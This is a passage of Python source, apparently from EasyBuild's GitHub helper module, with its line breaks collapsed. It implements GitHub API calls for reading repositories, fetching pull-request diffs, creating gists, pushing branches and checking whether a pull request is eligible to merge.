sys import tempfile import time from datetime import datetime, timedelta from distutils.version import LooseVersion from easybuild.base import fancylogger from easybuild.framework.easyconfig.easyconfig import EASYCONFIGS_ARCHIVE_DIR from easybuild.framework.easyconfig.easyconfig import copy_easyconfigs, copy_patch_files, det_file_info from easybuild.framework.easyconfig.easyconfig import process_easyconfig from easybuild.framework.easyconfig.parser import EasyConfigParser from easybuild.tools.build_log import EasyBuildError, print_msg, print_warning from easybuild.tools.config import build_option from easybuild.tools.filetools import apply_patch, change_dir, copy_dir, copy_easyblocks, copy_framework_files from easybuild.tools.filetools import det_patched_files, download_file, extract_file from easybuild.tools.filetools import get_easyblock_class_name, mkdir, read_file, symlink, which, write_file from easybuild.tools.py2vs3 import HTTPError, URLError, ascii_letters, urlopen from easybuild.tools.systemtools import UNKNOWN, get_tool_version from easybuild.tools.utilities import nub, only_if_module_is_available _log = fancylogger.getLogger('github', fname=False) try: import keyring HAVE_KEYRING = True except ImportError as err: _log.warning("Failed to import 'keyring' Python module: %s" % err) HAVE_KEYRING = False try: from easybuild.base.rest import RestClient HAVE_GITHUB_API = True except ImportError as err: _log.warning("Failed to import from 'easybuild.base.rest' Python module: %s" % err) HAVE_GITHUB_API = False try: import git from git import GitCommandError except ImportError as err: _log.warning("Failed to import 'git' Python module: %s", err) GITHUB_URL = 'https://github.com' GITHUB_API_URL = 'https://api.github.com' GITHUB_DIR_TYPE = u'dir' GITHUB_EB_MAIN = 'easybuilders' GITHUB_EASYBLOCKS_REPO = 'easybuild-easyblocks' GITHUB_EASYCONFIGS_REPO = 'easybuild-easyconfigs' GITHUB_FRAMEWORK_REPO = 'easybuild-framework' GITHUB_DEVELOP_BRANCH = 'develop' GITHUB_FILE_TYPE = u'file' GITHUB_PR_STATE_OPEN = 'open' GITHUB_PR_STATES = [GITHUB_PR_STATE_OPEN, 'closed', 'all'] GITHUB_PR_ORDER_CREATED = 'created' GITHUB_PR_ORDERS = [GITHUB_PR_ORDER_CREATED, 'updated', 'popularity', 'long-running'] GITHUB_PR_DIRECTION_DESC = 'desc' GITHUB_PR_DIRECTIONS = ['asc', GITHUB_PR_DIRECTION_DESC] GITHUB_MAX_PER_PAGE = 100 GITHUB_MERGEABLE_STATE_CLEAN = 'clean' GITHUB_PR = 'pull' GITHUB_RAW = 'https://raw.githubusercontent.com' GITHUB_STATE_CLOSED = 'closed' HTTP_STATUS_OK = 200 HTTP_STATUS_CREATED = 201 HTTP_STATUS_NO_CONTENT = 204 KEYRING_GITHUB_TOKEN = 'github_token' URL_SEPARATOR = '/' VALID_CLOSE_PR_REASONS = { 'archived': 'uses an archived toolchain', 'inactive': 'no activity for > 6 months', 'obsolete': 'obsoleted by more recent PRs', 'retest': 'closing and reopening to trigger tests', } class Githubfs(object): """This class implements some higher level functionality on top of the Github api""" def __init__(self, githubuser, reponame, branchname="master", username=None, password=None, token=None): """Construct a new githubfs object :param githubuser: the github user's repo we want to use. :param reponame: The name of the repository we want to use. :param branchname: Then name of the branch to use (defaults to master) :param username: (optional) your github username. :param password: (optional) your github password. :param token: (optional) a github api token. """ if token is None: token = fetch_github_token(username) self.log = fancylogger.getLogger(self.__class__.__name__, fname=False) self.gh = RestClient(GITHUB_API_URL, username=username, password=password, token=token) self.githubuser = githubuser self.reponame = reponame self.branchname = branchname @staticmethod def join(*args): """This method joins 'paths' inside a github repository""" args = [x for x in args if x] return URL_SEPARATOR.join(args) def get_repo(self): """Returns the repo as a Github object (from agithub)""" return self.gh.repos[self.githubuser][self.reponame] def get_path(self, path): """returns the path as a Github object (from agithub)""" endpoint = self.get_repo()['contents'] if path: for subpath in path.split(URL_SEPARATOR): endpoint = endpoint[subpath] return endpoint @staticmethod def isdir(githubobj): """Check if this path points to a directory""" if isinstance(githubobj, (list, tuple)): return True else: try: return githubobj['type'] == GITHUB_DIR_TYPE except Exception: return False @staticmethod def isfile(githubobj): """Check if this path points to a file""" try: return githubobj['type'] == GITHUB_FILE_TYPE except Exception: return False def listdir(self, path): """List the contents of a directory""" path = self.get_path(path) listing = path.get(ref=self.branchname) self.log.debug("listdir response: %s" % str(listing)) if listing[0] == 200: return listing[1] else: self.log.warning("error: %s" % str(listing)) raise EasyBuildError("Invalid response from github (I/O error)") def walk(self, top=None, topdown=True): """ Walk the github repo in an os.walk like fashion. """ isdir, listdir = self.isdir, self.listdir # If this fails we blow up, since permissions on a github repo are recursive anyway.j githubobjs = listdir(top) # listdir works with None, but we want to show a decent 'root dir' name dirs, nondirs = [], [] for githubobj in githubobjs: if isdir(githubobj): dirs.append(str(githubobj['name'])) else: nondirs.append(str(githubobj['name'])) if topdown: yield top, dirs, nondirs for name in dirs: new_path = self.join(top, name) for x in self.walk(new_path, topdown): yield x if not topdown: yield top, dirs, nondirs def read(self, path, api=True): """Read the contents of a file and return it Or, if api=False it will download the file and return the location of the downloaded file""" # we don't need use the api for this, but can also use raw.github.com # https://raw.github.com/easybuilders/easybuild/master/README.rst if not api: outfile = tempfile.mkstemp()[1] url = '/'.join([GITHUB_RAW, self.githubuser, self.reponame, self.branchname, path]) download_file(os.path.basename(path), url, outfile) return outfile else: obj = self.get_path(path).get(ref=self.branchname)[1] if not self.isfile(obj): raise GithubError("Error: not a valid file: %s" % str(obj)) return base64.b64decode(obj['content']) class GithubError(Exception): """Error raised by the Githubfs""" pass def github_api_get_request(request_f, github_user=None, token=None, **kwargs): """ Helper method, for performing get requests to GitHub API. :param request_f: function that should be called to compose request, providing a RestClient instance :param github_user: GitHub user name (to try and obtain matching GitHub token if none is provided) :param token: GitHub token to use :return: tuple with return status and data """ if github_user is None: github_user = build_option('github_user') if token is None: token = fetch_github_token(github_user) url = request_f(RestClient(GITHUB_API_URL, username=github_user, token=token)) try: status, data = url.get(**kwargs) except socket.gaierror as err: _log.warning("Error occurred while performing get request: %s", err) status, data = 0, None _log.debug("get request result for %s: status: %d, data: %s", url.url, status, data) return (status, data) def github_api_put_request(request_f, github_user=None, token=None, **kwargs): """ Helper method, for performing put requests to GitHub API. :param request_f: function that should be called to compose request, providing a RestClient instance :param github_user: GitHub user name (to try and obtain matching GitHub token if none is provided) :param token: GitHub token to use :return: tuple with return status and data """ if github_user is None: github_user = build_option('github_user') if token is None: token = fetch_github_token(github_user) url = request_f(RestClient(GITHUB_API_URL, username=github_user, token=token)) try: status, data = url.put(**kwargs) except socket.gaierror as err: _log.warning("Error occurred while performing put request: %s", err) status, data = 0, {'message': err} if status == 200: _log.info("Put request successful: %s", data['message']) elif status in [405, 409]: raise EasyBuildError("FAILED: %s", data['message']) else: raise EasyBuildError("FAILED: %s", data.get('message', "(unknown reason)")) _log.debug("get request result for %s: status: %d, data: %s", url.url, status, data) return (status, data) def fetch_latest_commit_sha(repo, account, branch='master', github_user=None, token=None): """ Fetch latest SHA1 for a specified repository and branch. :param repo: GitHub repository :param account: GitHub account :param branch: branch to fetch latest SHA1 for :param github_user: name of GitHub user to use :param token: GitHub token to use :return: latest SHA1 """ status, data = github_api_get_request(lambda x: x.repos[account][repo].branches, github_user=github_user, token=token, per_page=GITHUB_MAX_PER_PAGE) if status != HTTP_STATUS_OK: raise EasyBuildError("Failed to get latest commit sha for branch %s from %s/%s (status: %d %s)", branch, account, repo, status, data) res = None for entry in data: if entry[u'name'] == branch: res = entry['commit']['sha'] break if res is None: error_msg = "No branch with name %s found in repo %s/%s" % (branch, account, repo) if len(data) >= GITHUB_MAX_PER_PAGE: error_msg += "; only %d branches were checked (too many branches in %s/%s?)" % (len(data), account, repo) raise EasyBuildError(error_msg + ': ' + ', '.join([x[u'name'] for x in data])) return res def download_repo(repo=GITHUB_EASYCONFIGS_REPO, branch='master', account=GITHUB_EB_MAIN, path=None, github_user=None): """ Download entire GitHub repo as a tar.gz archive, and extract it into specified path. :param repo: repo to download :param branch: branch to download :param account: GitHub account to download repo from :param path: path to extract to :param github_user: name of GitHub user to use """ # make sure path exists, create it if necessary if path is None: path = tempfile.mkdtemp() # add account subdir path = os.path.join(path, account) mkdir(path, parents=True) extracted_dir_name = '%s-%s' % (repo, branch) base_name = '%s.tar.gz' % branch latest_commit_sha = fetch_latest_commit_sha(repo, account, branch, github_user=github_user) expected_path = os.path.join(path, extracted_dir_name) latest_sha_path = os.path.join(expected_path, 'latest-sha') # check if directory already exists, don't download if 'latest-sha' file indicates that it's up to date if os.path.exists(latest_sha_path): sha = read_file(latest_sha_path).split('\n')[0].rstrip() if latest_commit_sha == sha: _log.debug("Not redownloading %s/%s as it already exists: %s" % (account, repo, expected_path)) return expected_path url = URL_SEPARATOR.join([GITHUB_URL, account, repo, 'archive', base_name]) target_path = os.path.join(path, base_name) _log.debug("downloading repo %s/%s as archive from %s to %s" % (account, repo, url, target_path)) download_file(base_name, url, target_path, forced=True) _log.debug("%s downloaded to %s, extracting now" % (base_name, path)) base_dir = extract_file(target_path, path, forced=True, change_into_dir=False) change_dir(base_dir) extracted_path = os.path.join(base_dir, extracted_dir_name) # check if extracted_path exists if not os.path.isdir(extracted_path): raise EasyBuildError("%s should exist and contain the repo %s at branch %s", extracted_path, repo, branch) write_file(latest_sha_path, latest_commit_sha, forced=True) _log.debug("Repo %s at branch %s extracted into %s" % (repo, branch, extracted_path)) return extracted_path def fetch_easyblocks_from_pr(pr, path=None, github_user=None): """Fetch patched easyconfig files for a particular PR.""" return fetch_files_from_pr(pr, path, github_user, github_repo=GITHUB_EASYBLOCKS_REPO) def fetch_easyconfigs_from_pr(pr, path=None, github_user=None): """Fetch patched easyconfig files for a particular PR.""" return fetch_files_from_pr(pr, path, github_user, github_repo=GITHUB_EASYCONFIGS_REPO) def fetch_files_from_pr(pr, path=None, github_user=None, github_repo=None): """Fetch patched files for a particular PR.""" if github_user is None: github_user = build_option('github_user') if github_repo is None: github_repo = GITHUB_EASYCONFIGS_REPO if path is None: if github_repo == GITHUB_EASYCONFIGS_REPO: path = build_option('pr_path') elif github_repo == GITHUB_EASYBLOCKS_REPO: path = os.path.join(tempfile.gettempdir(), 'ebs_pr%s' % pr) else: raise EasyBuildError("Unknown repo: %s" % github_repo) if path is None: path = tempfile.mkdtemp() else: # make sure path exists, create it if necessary mkdir(path, parents=True) github_account = build_option('pr_target_account') if github_repo == GITHUB_EASYCONFIGS_REPO: easyfiles = 'easyconfigs' elif github_repo == GITHUB_EASYBLOCKS_REPO: easyfiles = 'easyblocks' else: raise EasyBuildError("Don't know how to fetch files from repo %s", github_repo) subdir = os.path.join('easybuild', easyfiles) _log.debug("Fetching %s from %s/%s PR #%s into %s", easyfiles, github_account, github_repo, pr, path) pr_data, _ = fetch_pr_data(pr, github_account, github_repo, github_user) pr_merged = pr_data['merged'] pr_closed = pr_data['state'] == GITHUB_STATE_CLOSED and not pr_merged pr_target_branch = pr_data['base']['ref'] _log.info("Target branch for PR #%s: %s", pr, pr_target_branch) # download target branch of PR so we can try and apply the PR patch on top of it repo_target_branch = download_repo(repo=github_repo, account=github_account, branch=pr_target_branch, github_user=github_user) # determine list of changed files via diff diff_fn = os.path.basename(pr_data['diff_url']) diff_filepath = os.path.join(path, diff_fn) download_file(diff_fn, pr_data['diff_url'], diff_filepath, forced=True) diff_txt = read_file(diff_filepath) _log.debug("Diff for PR #%s:\n%s", pr, diff_txt) patched_files = det_patched_files(txt=diff_txt, omit_ab_prefix=True, github=True, filter_deleted=True) _log.debug("List of patched files for PR #%s: %s", pr, patched_files) final_path = None # try to apply PR patch on top of target branch, unless the PR is closed or already merged if pr_merged: _log.info("PR is already merged, so using current version of PR target branch") final_path = repo_target_branch elif not pr_closed: try: _log.debug("Trying to apply PR patch %s to %s...", diff_filepath, repo_target_branch) apply_patch(diff_filepath, repo_target_branch, use_git_am=True) _log.info("Using %s which included PR patch to test PR #%s", repo_target_branch, pr) final_path = repo_target_branch except EasyBuildError as err: _log.warning("Ignoring problem that occured when applying PR patch: %s", err) if final_path is None: if pr_closed: print_warning("Using %s from closed PR #%s" % (easyfiles, pr)) # obtain most recent version of patched files for patched_file in [f for f in patched_files if subdir in f]: # path to patch file, incl. subdir it is in fn = patched_file.split(subdir)[1].strip(os.path.sep) sha = pr_data['head']['sha'] full_url = URL_SEPARATOR.join([GITHUB_RAW, github_account, github_repo, sha, patched_file]) _log.info("Downloading %s from %s", fn, full_url) download_file(fn, full_url, path=os.path.join(path, fn), forced=True) final_path = path # symlink directories into expected place if they're not there yet if final_path != path: dirpath = os.path.join(final_path, subdir) for eb_dir in os.listdir(dirpath): symlink(os.path.join(dirpath, eb_dir), os.path.join(path, os.path.basename(eb_dir))) # sanity check: make sure all patched files are downloaded files = [] for patched_file in [f for f in patched_files if subdir in f]: fn = patched_file.split(easyfiles)[1].strip(os.path.sep) full_path = os.path.join(path, fn) if os.path.exists(full_path): files.append(full_path) else: raise EasyBuildError("Couldn't find path to patched file %s", full_path) return files def create_gist(txt, fn, descr=None, github_user=None, github_token=None): """Create a gist with the provided text.""" dry_run = build_option('dry_run') or build_option('extended_dry_run') if descr is None: descr = "(none)" if github_token is None: github_token = fetch_github_token(github_user) body = { "description": descr, "public": True, "files": { fn: { "content": txt, } } } if dry_run: status, data = HTTP_STATUS_CREATED, {'html_url': 'https://gist.github.com/DRY_RUN'} else: g = RestClient(GITHUB_API_URL, username=github_user, token=github_token) status, data = g.gists.post(body=body) if status != HTTP_STATUS_CREATED: raise EasyBuildError("Failed to create gist; status %s, data: %s", status, data) return data['html_url'] def delete_gist(gist_id, github_user=None, github_token=None): """Delete gist with specified ID.""" if github_token is None: github_token = fetch_github_token(github_user) gh = RestClient(GITHUB_API_URL, username=github_user, token=github_token) status, data = gh.gists[gist_id].delete() if status != HTTP_STATUS_NO_CONTENT: raise EasyBuildError("Failed to delete gist with ID %s: status %s, data: %s", status, data) def post_comment_in_issue(issue, txt, account=GITHUB_EB_MAIN, repo=GITHUB_EASYCONFIGS_REPO, github_user=None): """Post a comment in the specified PR.""" if not isinstance(issue, int): try: issue = int(issue) except ValueError as err: raise EasyBuildError("Failed to parse specified pull request number '%s' as an int: %s; ", issue, err) dry_run = build_option('dry_run') or build_option('extended_dry_run') msg = "Adding comment to %s issue #%s: '%s'" % (repo, issue, txt) if dry_run: msg = "[DRY RUN] " + msg print_msg(msg, log=_log, prefix=False) if not dry_run: github_token = fetch_github_token(github_user) g = RestClient(GITHUB_API_URL, username=github_user, token=github_token) pr_url = g.repos[account][repo].issues[issue] status, data = pr_url.comments.post(body={'body': txt}) if not status == HTTP_STATUS_CREATED: raise EasyBuildError("Failed to create comment in PR %s#%d; status %s, data: %s", repo, issue, status, data) def init_repo(path, repo_name, silent=False): """ Initialize a new Git repository at the specified location. :param path: location where Git repository should be initialized :param repo_name: name of Git repository :param silent: keep quiet (don't print any messages) """ repo_path = os.path.join(path, repo_name) if not os.path.exists(repo_path): mkdir(repo_path, parents=True) # clone repo in git_working_dirs_path to repo_path git_working_dirs_path = build_option('git_working_dirs_path') if git_working_dirs_path: workdir = os.path.join(git_working_dirs_path, repo_name) if os.path.exists(workdir): print_msg("cloning git repo from %s..." % workdir, silent=silent) try: workrepo = git.Repo(workdir) workrepo.clone(repo_path) except GitCommandError as err: raise EasyBuildError("Failed to clone git repo at %s: %s", workdir, err) # initalize repo in repo_path try: repo = git.Repo.init(repo_path) except GitCommandError as err: raise EasyBuildError("Failed to init git repo at %s: %s", repo_path, err) _log.debug("temporary git working directory ready at %s", repo_path) return repo def setup_repo_from(git_repo, github_url, target_account, branch_name, silent=False): """ Set up repository by checking out specified branch from repository at specified URL. :param git_repo: git.Repo instance :param github_url: URL to GitHub repository :param target_account: name of GitHub account that owns GitHub repository at specified URL :param branch_name: name of branch to check out :param silent: keep quiet (don't print any messages) """ _log.debug("Cloning from %s", github_url) # salt to use for names of remotes/branches that are created salt = ''.join(random.choice(ascii_letters) for _ in range(5)) remote_name = 'pr_target_account_%s_%s' % (target_account, salt) origin = git_repo.create_remote(remote_name, github_url) if not origin.exists(): raise EasyBuildError("%s does not exist?", github_url) # git fetch # can't use --depth to only fetch a shallow copy, since pushing to another repo from a shallow copy doesn't work print_msg("fetching branch '%s' from %s..." % (branch_name, github_url), silent=silent) try: res = origin.fetch() except GitCommandError as err: raise EasyBuildError("Failed to fetch branch '%s' from %s: %s", branch_name, github_url, err) if res: if res[0].flags & res[0].ERROR: raise EasyBuildError("Fetching branch '%s' from remote %s failed: %s", branch_name, origin, res[0].note) else: _log.debug("Fetched branch '%s' from remote %s (note: %s)", branch_name, origin, res[0].note) else: raise EasyBuildError("Fetching branch '%s' from remote %s failed: empty result", branch_name, origin) # git checkout -b <branch>; git pull if hasattr(origin.refs, branch_name): origin_branch = getattr(origin.refs, branch_name) else: raise EasyBuildError("Branch '%s' not found at %s", branch_name, github_url) _log.debug("Checking out branch '%s' from remote %s", branch_name, github_url) try: origin_branch.checkout(b=branch_name) except GitCommandError as err: alt_branch = '%s_%s' % (branch_name, salt) _log.debug("Trying to work around checkout error ('%s') by using different branch name '%s'", err, alt_branch) try: origin_branch.checkout(b=alt_branch, force=True) except GitCommandError as err: raise EasyBuildError("Failed to check out branch '%s' from repo at %s: %s", alt_branch, github_url, err) return remote_name def setup_repo(git_repo, target_account, target_repo, branch_name, silent=False, git_only=False): """ Set up repository by checking out specified branch for specfied GitHub account/repository. :param git_repo: git.Repo instance :param target_account: name of GitHub account that owns GitHub repository :param target_repo: name of GitHib repository :param branch_name: name of branch to check out :param silent: keep quiet (don't print any messages) :param git_only: only use git@github.com repo URL, skip trying https://github.com first """ tmpl_github_urls = [ 'git@github.com:%s/%s.git', ] if not git_only: tmpl_github_urls.insert(0, 'https://github.com/%s/%s.git') res = None errors = [] for tmpl_github_url in tmpl_github_urls: github_url = tmpl_github_url % (target_account, target_repo) try: res = setup_repo_from(git_repo, github_url, target_account, branch_name, silent=silent) break except EasyBuildError as err: errors.append("Checking out branch '%s' from %s failed: %s" % (branch_name, github_url, err)) if res: return res else: raise EasyBuildError('\n'.join(errors)) @only_if_module_is_available('git', pkgname='GitPython') def _easyconfigs_pr_common(paths, ecs, start_branch=None, pr_branch=None, start_account=None, commit_msg=None): """ Common code for new_pr and update_pr functions: * check whether all supplied paths point to existing files * create temporary clone of target git repository * fetch/checkout specified starting branch * copy files to right location * stage/commit all files in PR branch * push PR branch to GitHub (to account specified by --github-user) :param paths: paths to categorized lists of files (easyconfigs, files to delete, patches) :param ecs: list of parsed easyconfigs, incl. for dependencies (if robot is enabled) :param start_branch: name of branch to use as base for PR :param pr_branch: name of branch to push to GitHub :param start_account: name of GitHub account to use as base for PR :param commit_msg: commit message to use """ # we need files to create the PR with non_existing_paths = [] ec_paths = [] if paths['easyconfigs'] or paths['py_files']: for path in paths['easyconfigs'] + paths['py_files']: if not os.path.exists(path): non_existing_paths.append(path) else: ec_paths.append(path) if non_existing_paths: raise EasyBuildError("One or more non-existing paths specified: %s", ', '.join(non_existing_paths)) if not any(paths.values()): raise EasyBuildError("No paths specified") pr_target_repo = det_pr_target_repo(paths) if pr_target_repo is None: raise EasyBuildError("Failed to determine target repository, please specify it via --pr-target-repo!") # initialize repository git_working_dir = tempfile.mkdtemp(prefix='git-working-dir') git_repo = init_repo(git_working_dir, pr_target_repo) repo_path = os.path.join(git_working_dir, pr_target_repo) if pr_target_repo not in [GITHUB_EASYCONFIGS_REPO, GITHUB_EASYBLOCKS_REPO, GITHUB_FRAMEWORK_REPO]: raise EasyBuildError("Don't know how to create/update a pull request to the %s repository", pr_target_repo) if start_account is None: start_account = build_option('pr_target_account') if start_branch is None: # if start branch is not specified, we're opening a new PR # account to use is determined by active EasyBuild configuration (--github-org or --github-user) target_account = build_option('github_org') or build_option('github_user') # if branch to start from is specified, we're updating an existing PR start_branch = build_option('pr_target_branch') else: # account to target is the one that owns the branch used to open PR # (which may be different from account used to push update!) target_account = start_account # set up repository setup_repo(git_repo, start_account, pr_target_repo, start_branch) _log.debug("git status: %s", git_repo.git.status()) # copy easyconfig files to right place target_dir = os.path.join(git_working_dir, pr_target_repo) print_msg("copying files to %s..." % target_dir) file_info = COPY_FUNCTIONS[pr_target_repo](ec_paths, os.path.join(git_working_dir, pr_target_repo)) # figure out commit message to use if commit_msg: cnt = len(file_info['paths_in_repo']) _log.debug("Using specified commit message for all %d new/modified files at once: %s", cnt, commit_msg) elif pr_target_repo == GITHUB_EASYCONFIGS_REPO and all(file_info['new']) and not paths['files_to_delete']: # automagically derive meaningful commit message if all easyconfig files are new commit_msg = "adding easyconfigs: %s" % ', '.join(os.path.basename(p) for p in file_info['paths_in_repo']) if paths['patch_files']: commit_msg += " and patches: %s" % ', '.join(os.path.basename(p) for p in paths['patch_files']) elif pr_target_repo == GITHUB_EASYBLOCKS_REPO and all(file_info['new']): commit_msg = "adding easyblocks: %s" % ', '.join(os.path.basename(p) for p in file_info['paths_in_repo']) else: raise EasyBuildError("A meaningful commit message must be specified via --pr-commit-msg when " "modifying/deleting files or targeting the framework repo.") # figure out to which software name patches relate, and copy them to the right place if paths['patch_files']: patch_specs = det_patch_specs(paths['patch_files'], file_info, [target_dir]) print_msg("copying patch files to %s..." % target_dir) patch_info = copy_patch_files(patch_specs, target_dir) # determine path to files to delete (if any) deleted_paths = [] for fn in paths['files_to_delete']: fullpath = os.path.join(repo_path, fn) if os.path.exists(fullpath): deleted_paths.append(fullpath) else: # if no existing relative path is specified, assume just the easyconfig file name is provided hits = glob.glob(os.path.join(repo_path, 'easybuild', 'easyconfigs', '*', '*', fn)) if len(hits) == 1: deleted_paths.append(hits[0]) else: raise EasyBuildError("Path doesn't exist or file to delete isn't found in target branch: %s", fn) dep_info = { 'ecs': [], 'paths_in_repo': [], 'new': [], } # include missing easyconfigs for dependencies, if robot is enabled if ecs is not None: abs_paths = [os.path.realpath(os.path.abspath(path)) for path in ec_paths] dep_paths = [ec['spec'] for ec in ecs if os.path.realpath(ec['spec']) not in abs_paths] _log.info("Paths to easyconfigs for missing dependencies: %s", dep_paths) all_dep_info = copy_easyconfigs(dep_paths, target_dir) # only consider new easyconfig files for dependencies (not updated ones) for idx in range(len(all_dep_info['ecs'])): if all_dep_info['new'][idx]: for key in dep_info: dep_info[key].append(all_dep_info[key][idx]) # checkout target branch if pr_branch is None: if ec_paths and pr_target_repo == GITHUB_EASYCONFIGS_REPO: label = file_info['ecs'][0].name + re.sub('[.-]', '', file_info['ecs'][0].version) else: label = ''.join(random.choice(ascii_letters) for _ in range(10)) pr_branch = '%s_new_pr_%s' % (time.strftime("%Y%m%d%H%M%S"), label) # create branch to commit to and push; # use force to avoid errors if branch already exists (OK since this is a local temporary copy of the repo) git_repo.create_head(pr_branch, force=True).checkout() _log.info("New branch '%s' created to commit files to", pr_branch) # stage _log.debug("Staging all %d new/modified easyconfigs", len(file_info['paths_in_repo'])) git_repo.index.add(file_info['paths_in_repo']) git_repo.index.add(dep_info['paths_in_repo']) if paths['patch_files']: _log.debug("Staging all %d new/modified patch files", len(patch_info['paths_in_repo'])) git_repo.index.add(patch_info['paths_in_repo']) # stage deleted files if deleted_paths: git_repo.index.remove(deleted_paths) # overview of modifications if build_option('extended_dry_run'): print_msg("\nFull patch:\n", log=_log, prefix=False) print_msg(git_repo.git.diff(cached=True) + '\n', log=_log, prefix=False) diff_stat = git_repo.git.diff(cached=True, stat=True) if not diff_stat: raise EasyBuildError("No changed files found when comparing to current develop branch. " "Refused to make empty pull request.") # commit git_repo.index.commit(commit_msg) push_branch_to_github(git_repo, target_account, pr_target_repo, pr_branch) return file_info, deleted_paths, git_repo, pr_branch, diff_stat, pr_target_repo def create_remote(git_repo, account, repo, https=False): """ Create remote in specified git working directory for specified account & repository. :param git_repo: git.Repo instance to use (after init_repo & setup_repo) :param account: GitHub account name :param repo: repository name :param https: use https:// URL rather than git@ """ if https: github_url = 'https://github.com/%s/%s.git' % (account, repo) else: github_url = 'git@github.com:%s/%s.git' % (account, repo) salt = ''.join(random.choice(ascii_letters) for _ in range(5)) remote_name = 'github_%s_%s' % (account, salt) try: remote = git_repo.create_remote(remote_name, github_url) except GitCommandError as err: raise EasyBuildError("Failed to create remote %s for %s: %s", remote_name, github_url, err) return remote def push_branch_to_github(git_repo, target_account, target_repo, branch): """ Push specified branch to GitHub from specified git repository. :param git_repo: git.Repo instance to use (after init_repo & setup_repo) :param target_account: GitHub account name :param target_repo: repository name :param branch: name of branch to push """ # push to GitHub remote = create_remote(git_repo, target_account, target_repo) dry_run = build_option('dry_run') or build_option('extended_dry_run') github_url = 'git@github.com:%s/%s.git' % (target_account, target_repo) push_branch_msg = "pushing branch '%s' to remote '%s' (%s)" % (branch, remote.name, github_url) if dry_run: print_msg(push_branch_msg + ' [DRY RUN]', log=_log) else: print_msg(push_branch_msg, log=_log) try: res = remote.push(branch) except GitCommandError as err: raise EasyBuildError("Failed to push branch '%s' to GitHub (%s): %s", branch, github_url, err) if res: if res[0].ERROR & res[0].flags: raise EasyBuildError("Pushing branch '%s' to remote %s (%s) failed: %s", branch, remote, github_url, res[0].summary) else: _log.debug("Pushed branch %s to remote %s (%s): %s", branch, remote, github_url, res[0].summary) else: raise EasyBuildError("Pushing branch '%s' to remote %s (%s) failed: empty result", branch, remote, github_url) def is_patch_for(patch_name, ec): """Check whether specified patch matches any patch in the provided EasyConfig instance.""" res = False patches = copy.copy(ec['patches']) for ext in ec['exts_list']: if isinstance(ext, (list, tuple)) and len(ext) == 3 and isinstance(ext[2], dict): ext_options = ext[2] patches.extend(ext_options.get('patches', [])) for patch in patches: if isinstance(patch, (tuple, list)): patch = patch[0] if patch == patch_name: res = True break return res def det_patch_specs(patch_paths, file_info, ec_dirs): """ Determine software names for patch files """ print_msg("determining software names for patch files...") patch_specs = [] for patch_path in patch_paths: soft_name = None patch_file = os.path.basename(patch_path) # consider patch lists of easyconfigs being provided for ec in file_info['ecs']: if is_patch_for(patch_file, ec): soft_name = ec['name'] break if soft_name: patch_specs.append((patch_path, soft_name)) else: # fall back on scanning all eb files for patches print("Matching easyconfig for %s not found on the first try:" % patch_path) print("scanning all easyconfigs to determine where patch file belongs (this may take a while)...") soft_name = find_software_name_for_patch(patch_file, ec_dirs) if soft_name: patch_specs.append((patch_path, soft_name)) else: # still nothing found raise EasyBuildError("Failed to determine software name to which patch file %s relates", patch_path) return patch_specs def find_software_name_for_patch(patch_name, ec_dirs): """ Scan all easyconfigs in the robot path(s) to determine which software a patch file belongs to :param patch_name: name of the patch file :param ecs_dirs: list of directories to consider when looking for easyconfigs :return: name of the software that this patch file belongs to (if found) """ soft_name = None all_ecs = [] for ec_dir in ec_dirs: for (dirpath, _, filenames) in os.walk(ec_dir): for fn in filenames: if fn != 'TEMPLATE.eb' and not fn.endswith('.py'): path = os.path.join(dirpath, fn) rawtxt = read_file(path) if 'patches' in rawtxt: all_ecs.append(path) nr_of_ecs = len(all_ecs) for idx, path in enumerate(all_ecs): if soft_name: break rawtxt = read_file(path) try: ecs = process_easyconfig(path, validate=False) for ec in ecs: if is_patch_for(patch_name, ec['ec']): soft_name = ec['ec']['name'] break except EasyBuildError as err: _log.debug("Ignoring easyconfig %s that fails to parse: %s", path, err) sys.stdout.write('\r%s of %s easyconfigs checked' % (idx + 1, nr_of_ecs)) sys.stdout.flush() sys.stdout.write('\n') return soft_name def check_pr_eligible_to_merge(pr_data): """ Check whether PR is eligible for merging. :param pr_data: PR data obtained through GitHub API :return: boolean value indicates whether PR is eligible """ res = True def not_eligible(msg): """Helper function to warn about PR not being eligible for merging""" print_msg("%s => not eligible for merging!" % msg, stderr=True, prefix=False) return False target = '%s/%s' % (pr_data['base']['repo']['owner']['login'], pr_data['base']['repo']['name']) print_msg("Checking eligibility of %s PR #%s for merging..." % (target, pr_data['number']), prefix=False) # check target branch, must be branch name specified in --pr-target-branch (usually 'develop') pr_target_branch = build_option('pr_target_branch') msg_tmpl = "* targets %s branch: %%s" % pr_target_branch if pr_data['base']['ref'] == pr_target_branch: print_msg(msg_tmpl % 'OK', prefix=False) else: res = not_eligible(msg_tmpl % "FAILED; found '%s'" % pr_data['base']['ref']) # check test suite result, Travis must give green light msg_tmpl = "* test suite passes: %s" if pr_data['status_last_commit'] == 'success': print_msg(msg_tmpl % 'OK', prefix=False) elif pr_data['status_last_commit'] == 'pending': res = not_eligible(msg_tmpl % "pending...") elif pr_data['status_last_commit'] in ['error', 'failure']: res = not_eligible(msg_tmpl % "FAILED") else: res = not_eligible(msg_tmpl % "(result unknown)") if pr_data['base']['repo']['name'] == GITHUB_EASYCONFIGS_REPO: # check for successful test report (checked in reverse order) msg_tmpl = "* last test report is successful: %s" test_report_regex = re.compile(r"^Test report by @\S+") test_report_found = False for comment in pr_data['issue_comments'][::-1]: comment = comment['body'] if test_report_regex.search(comment): if 'SUCCESS' in comment: print_msg(msg_tmpl % 'OK', prefix=False) test_report_found = True break elif 'FAILED' in comment: res = not_eligible(msg_tmpl % 'FAILED') test_report_found = True break else: print_warning("Failed to determine outcome of test report for comment:\n%s" % comment) if not test_report_found: res = not_eligible(msg_tmpl % "(no test reports found)") # check for approved review approved_review_by = [] for review in pr_data['reviews']: if review['state'] == 'APPROVED': approved_review_by.append(review['user']['login']) msg_tmpl = "* approved review: %s" if approved_review_by: print_msg(msg_tmpl % 'OK (by %s)' % ', '.join(approved_review_by), prefix=False) else: res = not_eligible(msg_tmpl % 'MISSING') # check whether a milestone is set msg_tmpl = "* milestone is set: %s" if pr_data['milestone']: print_msg(msg_tmpl % "OK (%s)" % pr_data['milestone']['title'], prefix=False) else: res = not_eligible(msg_tmpl % 'no milestone found') return res def reasons_for_closing(pr_data): """ Look for valid reasons to close PR by comparing with existing easyconfigs. """ if pr_data['status_last_commit']: print_msg("Status of last commit is %s\n" % pr_data['status_last_commit'].upper(), prefix=False) if pr_data['issue_comments']: last_comment = pr_data['issue_comments'][-1] timestamp = 